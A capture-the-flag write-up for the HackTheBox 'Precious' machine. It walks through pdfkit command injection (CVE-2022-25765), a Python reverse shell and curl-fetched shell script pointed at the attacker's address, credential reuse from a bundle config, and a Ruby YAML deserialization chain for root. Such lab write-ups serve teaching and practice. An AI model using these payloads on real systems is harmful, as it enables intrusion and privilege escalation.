Precious writeup
14 December, 2022 00:00 CET
INDEX
Enumeration
nmap -sV -p- -A -Pn 10.10.11.189
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0) | ssh-hostkey: | 3072 845e13a8e31e20661d235550f63047d2 (RSA) | 256 a2ef7b9665ce4161c467ee4e96c7c892 (ECDSA) |_ 256 33053dcd7ab798458239e7ae3c91a658 (ED25519) 80/tcp open http nginx 1.18.0 |_http-title: Did not follow redirect to http://precious.htb/ |_http-server-header: nginx/1.18.0 Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
the site is redirecting me to
http://precious.htb/
, so I add it to the/etc/hosts
file-
nmap -p80 -A -sCV precious.htb
Starting Nmap 7.92 ( https://nmap.org ) at 2022-12-05 21:07 CET Nmap scan report for precious.htb (10.10.11.189) Host is up (0.047s latency). PORT STATE SERVICE VERSION 80/tcp open http nginx 1.18.0 |_http-title: Convert Web Page to PDF | http-server-header: | nginx/1.18.0 |_ nginx/1.18.0 + Phusion Passenger(R) 6.0.15 Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 9.99 seconds
I notice that site’s webserver is
nginx 1.18.0 + Phusion Passenger(R) 6.0.15
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://precious.htb/
gobuster vhost -w /usr/share/wordlists/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -u http://precious.htb/
- I visit the website:
<!DOCTYPE html> <html> <head> <title>Convert Web Page to PDF</title> <link rel="stylesheet" href="stylesheets/style.css"> </head> <body> <div class="wrapper"> <h1 class="title">Convert Web Page to PDF</h1> <form action="/" method="post"> <p>Enter URL to fetch</p><br> <input type="text" name="url" value=""> <input type="submit" value="Submit"> </form> <h2 class="msg"></h2> </div> </body> </html>
- I enter as URL
http://10.10.14.49:4444
and I getGET / HTTP/1.1 Host: 10.10.14.49:4444 User-Agent: Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/602.1 (KHTML, like Gecko) wkhtmltopdf Version/10.0 Safari/602.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-US,*
thanks to the header
wkhtmltopdf Version/10.0
I find immediately: https://github.com/advisories/GHSA-36cg-hvm7-mhwpexploit: https://github.com/wkhtmltopdf/wkhtmltopdf/issues/4536 →
all version ( <=0.12.5 )
I create a
111.html
file<!DOCTYPE html> <html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <body> <script> x=new XMLHttpRequest; x.onload=function(){ document.write(this.responseText) }; x.open("GET","file:///etc/passwd"); x.send(); </script> </body></html>
python3 -m http.server 8000 --directory .
and put as pathhttp://10.10.14.49:8000/111.html
the pdf that I get in output is empty, maybe the
--disable-local-file-access
flag is active -
inserting
http://localhost:80
orhttp://127.0.0.1:80
will only load the page but not download the pdf whatweb http://precious.htb/
http://precious.htb/ [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[nginx/1.18.0 + Phusion Passenger(R) 6.0.15], IP[10.10.11.189], Ruby-on-Rails, Title[Convert Web Page to PDF], UncommonHeaders[x-content-type-options], X-Frame-Options[SAMEORIGIN], X-Powered-By[Phusion Passenger(R) 6.0.15], X-XSS-Protection[1; mode=block], nginx[1.18.0]
server side is present the web framework:
Ruby-on-Rails
Phusion Passenger(R) 6.0.15
is interesting: A fast and robust web server and application server for Ruby, Python and Node.jshas no known vulnerabilities that version because it is up-to-date: https://github.com/phusion/passenger/releases
- I look at the content of the pdf that is returned to me and I discover some interesting things:
%PDF-1.4 %âã 1 0 obj << /Title () /Creator (þÿwkhtmltopdf 0.12.6) /Producer (þÿQt 5.15.2) /CreationDate (D:20221202110018-05'00') %BeginExifToolUpdate 1 0 obj << /Creator (Generated by pdfkit v0.8.6) >> endobj 11 0 obj << /Type /Metadata /Subtype /XML /Length 2829 >> stream <?xpacket begin='' id='W5M0MpCehiHzreSzNTczkc9d'?> <x:xmpmeta xmlns:x='adobe:ns:meta/'> <rdf:RDF xmlns:rdf='http://www.w3.org/1999/02/22-rdf-syntax-ns#'> <rdf:Description rdf:about='' xmlns:dc='http://purl.org/dc/elements/1.1/'> <dc:creator> <rdf:Seq> <rdf:li>Generated by pdfkit v0.8.6</rdf:li> </rdf:Seq> </dc:creator> </rdf:Description> </rdf:RDF> </x:xmpmeta>
the creator had fun putting a vulnerable version in the User-Agent but in reality the one fixed immediately after is used:
wkhtmltopdf 0.12.6
Generated by pdfkit v0.8.6
also appears in the pdf, so double trickery!this version is vulnerable CVE-2022-25765
Web exploitation
Method 1
-
https://security.snyk.io/vuln/SNYK-RUBY-PDFKIT-2869795
I try to run
sleep
command (blind-command-injection)http://10.10.14.49/?name=#{'%20`sleep 5`'}
the website waits 5 seconds after sending HTTP GET request, it really works!
I can try to put a reverse shell and see what happens
http://10.10.14.49/?name=#{'%20`python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.49",4321));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'`'}
Bingo! Now I’m the
ruby
user
Method 2
-
https://github.com/advisories/GHSA-rhwx-hjx2-x4qr
Package Affected versions Patched versions pdfkit (RubyGems) < 0.8.7.2 0.8.7.2
exploit: https://github.com/pdfkit/pdfkit/issues/517 → it’s all URL encoded, thus breaking bash commands
http://10.10.14.49:8000/?home=$HOME
Directory listing for /?home=/home/ruby
http://10.10.14.49:8000/?whoami=$(whoami)
Directory listing for /?whoami=ruby
http://10.10.14.49:8000/?ls=$(ls)
Directory listing for /?ls=app config config.ru Gemfile Gemfile.lock pdf public
http://10.10.14.49:8000/?pwd=$(pwd)
Directory listing for /?pwd=/var/www/pdfapp
spaces are URL encoded and it doesn’t understand bash command, I try to bypass the problem by not using space character https://book.hacktricks.xyz/linux-hardening/bypass-bash-restrictions#bypass-forbidden-spaces
http://10.10.14.49:8000/?passwd=$(cat$IFS/etc/passwd)
Directory listing for /?passwd= root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin wwwdata:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin systemdnetwork:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin systemdresolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin messagebus:x:103:109::/nonexistent:/usr/sbin/nologin sshd:x:104:65534::/run/sshd:/usr/sbin/nologin henry:x:1000:1000:henry,,,:/home/henry:/bin/bash systemdtimesync:x:999:999:systemd Time Synchronization:/:/usr/sbin/nologin systemdcoredump:x:998:998:systemd Core Dumper:/:/usr/sbin/nologin ruby:x:1001:1001::/home/ruby:/bin/bash _laurel:x:997:997::/var/log/laurel:/bin/false
http://10.10.14.49:8000/?ls=$(ls$IFS-al$IFS$HOME)
Directory listing for /?ls= total 848 drwxr-xr-x 6 ruby ruby 4096 Dec 2 10:56 . drwxr-xr-x 4 root root 4096 Oct 26 08:28 .. lrwxrwxrwx 1 root root 9 Oct 26 07:53 .bash_history -> /dev/null -rw-r--r-- 1 ruby ruby 220 Mar 27 2022 .bash_logout -rw-r--r-- 1 ruby ruby 3526 Mar 27 2022 .bashrc dr-xr-xr-x 2 root ruby 4096 Oct 26 08:28 .bundle drwxr-xr-x 4 ruby ruby 4096 Dec 2 10:27 .cache drwx------ 3 ruby ruby 4096 Dec 2 10:44 .gnupg drwxr-xr-x 3 ruby ruby 4096 Dec 2 10:56 .local -rw-r--r-- 1 ruby ruby 807 Mar 27 2022 .profile
-
I can’t open a connection with netcat:
IP=10.10.14.49;PORT=4444;nc$IFS$IP$IFS$PORT
I would have used it to write to file:
FILE=revshell.sh;IP=10.10.14.49;PORT=4444;nc$IFS$IP$IFS$PORT|tee$IFS$FILE
at least the ping works so there are no firewall rules:
IP=10.10.14.49;ping$IFS-c1$IFS$IP
Directory listing for /?ping= PING 10.10.14.49 (10.10.14.49) 56(84) bytes of data. 64 bytes from 10.10.14.49: icmp_seq=1 ttl=63 time=36.7 ms --- 10.10.14.49 ping statistics --- 1 packets transmitted, 1 received, 0% packet loss, time 0ms rtt min/avg/max/mdev = 36.731/36.731/36.731/0.000 ms
cat$IFS/var/www/pdfapp/app/controllers/pdf.rb
class PdfControllers < Sinatra::Base configure do set :views, "app/views" set :public_dir, "public" end get '/' do erb :'index' end post '/' do url = ERB.new(params[:url]).result(binding) if url =~ /^https?:\/\//i filename = Array.new(32){rand(36).to_s(36)}.join + '.pdf' path = 'pdf/' + filename begin PDFKit.new(url).to_file(path) cmd = `exiftool -overwrite_original -all= -creator="Generated by pdfkit v0.8.6" -xmptoolkit= #{path}` send_file path, :disposition => 'attachment' rescue @msg = 'Cannot load remote URL!' end else @msg = 'You should provide a valid URL!' end erb :'index' end end
there are no special checks, it just runs
PDFKit
-
I try to download a reverse shell:
FILE=revshell.sh;IP=10.10.14.49;PORT=8000;curl$IFS-o$IFS$HOME/$FILE$IFS$IP:$PORT/$FILE
-
the reverse shell has been successfully downloaded:
http://10.10.14.49:8000/?ls=$(ls$IFS$HOME)
Directory listing for /?ls= revshell.sh
-
I run the reverse shell:
FILE=revshell.sh;bash$IFS$HOME/$FILE
Bingo! Now I’m the
ruby
user
Privesc user
-
I run the script:
linpeas.sh
╔══════════╣ Unexpected in /opt (usually empty) total 16 drwxr-xr-x 3 root root 4096 Oct 26 08:28 . drwxr-xr-x 18 root root 4096 Nov 21 15:11 .. drwxr-xr-x 2 root root 4096 Oct 26 08:28 sample -rwxr-xr-x 1 root root 848 Sep 25 11:02 update_dependencies.rb ╔══════════╣ Searching root files in home dirs (limit 30) /home/henry/user.txt /home/henry/.bash_history /home/ruby/.bundle /home/ruby/.bundle/config /home/ruby/.bash_history /var/www /var/www/html /var/www/html/index.nginx-debian.html /var/www/pdfapp /var/www/pdfapp/public /var/www/pdfapp/public/images /var/www/pdfapp/public/stylesheets /var/www/pdfapp/public/stylesheets/style.css /var/www/pdfapp/config.ru /var/www/pdfapp/config /var/www/pdfapp/config/environment.rb /var/www/pdfapp/Gemfile /var/www/pdfapp/pdf /var/www/pdfapp/app /var/www/pdfapp/app/views /var/www/pdfapp/app/views/index.erb /var/www/pdfapp/app/controllers /var/www/pdfapp/app/controllers/pdf.rb /var/www/pdfapp/Gemfile.lock
-
cat /home/ruby/.bundle/config
BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:Q3c1AqGHtoI0aXAYFH"
https://manpages.ubuntu.com/manpages/bionic/man1/bundle-config.1.html
could be anything, maybe the user’s password?
sshpass -p 'Q3c1AqGHtoI0aXAYFH' ssh henry@precious.htb
→ bingo!
Privesc root
sudo -l
Matching Defaults entries for henry on precious: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User henry may run the following commands on precious: (root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb
so I can run
sudo /opt/update_dependencies.rb
with credentials:Q3c1AqGHtoI0aXAYFH
cat /opt/update_dependencies.rb
# Compare installed dependencies with those specified in "dependencies.yml" require "yaml" require 'rubygems' # TODO: update versions automatically def update_gems() end def list_from_file YAML.load(File.read("dependencies.yml")) end def list_local_gems Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]} end gems_file = list_from_file gems_local = list_local_gems gems_file.each do |file_name, file_version| gems_local.each do |local_name, local_version| if(file_name == local_name) if(file_version != local_version) puts "Installed version differs from the one specified in file: " + local_name else puts "Installed version is equals to the one specified in file: " + local_name end end end end
cat /opt/sample/dependencies.yml
yaml: 0.1.1 pdfkit: 0.8.6
-
I can’t see what root does with
pspy64
: https://www.cyberciti.biz/faq/linux-hide-processes-from-other-users//etc/fstab
proc /proc proc defaults,nosuid,nodev,noexec,relatime,hidepid=2 0 0
-
gem list | grep -E "yaml|pdfkit"
yaml (default: 0.1.0) pdfkit (0.8.6)
a difference compared to the sample file is highlighted:
yaml: 0.1.1 yaml (default: 0.1.0)
https://www.ruby-lang.org/en/news/2014/03/29/heap-overflow-in-yaml-uri-escape-parsing-cve-2014-2525/
ruby -rpsych -e 'p Psych.libyaml_version'
[0, 2, 2]
the version looks different but moreover it doesn’t use psych in the script
-
https://gist.github.com/staaldraad/89dffe369e1454eedd3306edc8a7e565#file-ruby_yaml_load_sploit2-yaml
https://www.elttam.com/blog/ruby-deserialization/: RUBY 2.X UNIVERSAL RCE DESERIALIZATION GADGET CHAIN
- !ruby/object:Gem::Installer i: x - !ruby/object:Gem::SpecFetcher i: y - !ruby/object:Gem::Requirement requirements: !ruby/object:Gem::Package::TarReader io: &1 !ruby/object:Net::BufferedIO io: &1 !ruby/object:Gem::Package::TarReader::Entry read: 0 header: "abc" debug_output: &1 !ruby/object:Net::WriteAdapter socket: &1 !ruby/object:Gem::RequestSet sets: !ruby/object:Net::WriteAdapter socket: !ruby/module 'Kernel' method_id: :system git_set: id method_id: :resolve
uid=0(root) gid=0(root) groups=0(root)